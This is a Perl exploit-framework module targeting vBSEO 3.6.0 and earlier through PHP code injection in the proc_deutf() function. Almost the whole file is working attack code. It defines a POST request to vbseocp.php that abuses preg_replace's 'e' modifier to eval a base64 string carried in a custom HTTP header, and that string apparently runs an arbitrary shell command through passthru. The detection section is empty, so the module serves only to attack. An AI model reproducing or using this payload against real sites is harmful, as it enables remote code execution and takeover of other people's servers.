package VBSEO::MSF::VbseoProcDeutf;
use lib qw(../../); use parent qw(Exploit);

use 5.10.0;

use strict;
use warnings;

no warnings 'experimental';

use URI::URL;
use Data::Dump qw(dump);
use File::Slurp qw(read_file);

# # 
# # 
# # 

sub load {
    my $type  = shift;
    my $class = ref $type || $type;
    my $self = { };
    bless $self, $class;

    return $self;
}

sub new {
   my $class = shift;
   

   my $name = "VbseoProcDeutf";

   my $DETECTION = {

   };

my $EXPLOIT = {
  DESCRIPTION => "

        This module exploits a vulnerability in the 'proc_deutf()' function

        defined in /includes/functions_vbseocp_abstract.php for vBSEO versions

        3.6.0 and earlier. User input passed through 'char_repl' POST parameter

        isn't properly sanitized before being used in a call to preg_replace()

        function which uses the 'e' modifier. This can be exploited to inject

        and execute arbitrary code leveraging the PHP's complex curly syntax.

      ",
  MSF_MODULE => "vbseo_proc_deutf",
  OSVDB => 78508,
  TITLE => "vBSEO proc_deutf() Remote PHP Code Injection",


  TYPE => 'MSF',
  PLATFORM => 'MULTI',
  REQUESTS => {
    EXPLOIT2 => {
      METHOD       => 'POST',
      PATH   => 'vbseocp.php',
      PAYLOAD      => 'char_repl=\'{\${eval(base64_decode(\$_SERVER[HTTP_CODE]))}}.{\${die()}}\'=>',
      TEXT   => 'Sending Exploit #2 Request : [POST] /vbseocp.php',
      HEADERS      => {
        'Code' => 'cGFzc3RocnUoIl9fQ09NTUFORF9fIik7',
        'Content-Type' => 'application/x-www-form-urlencoded',
      },
      VALIDATION   => {
        TCODE => ['200'],
      },
    },
  },
   };

   return $class->SUPER::new($name, $DETECTION, $EXPLOIT, @_);
}

return 1;
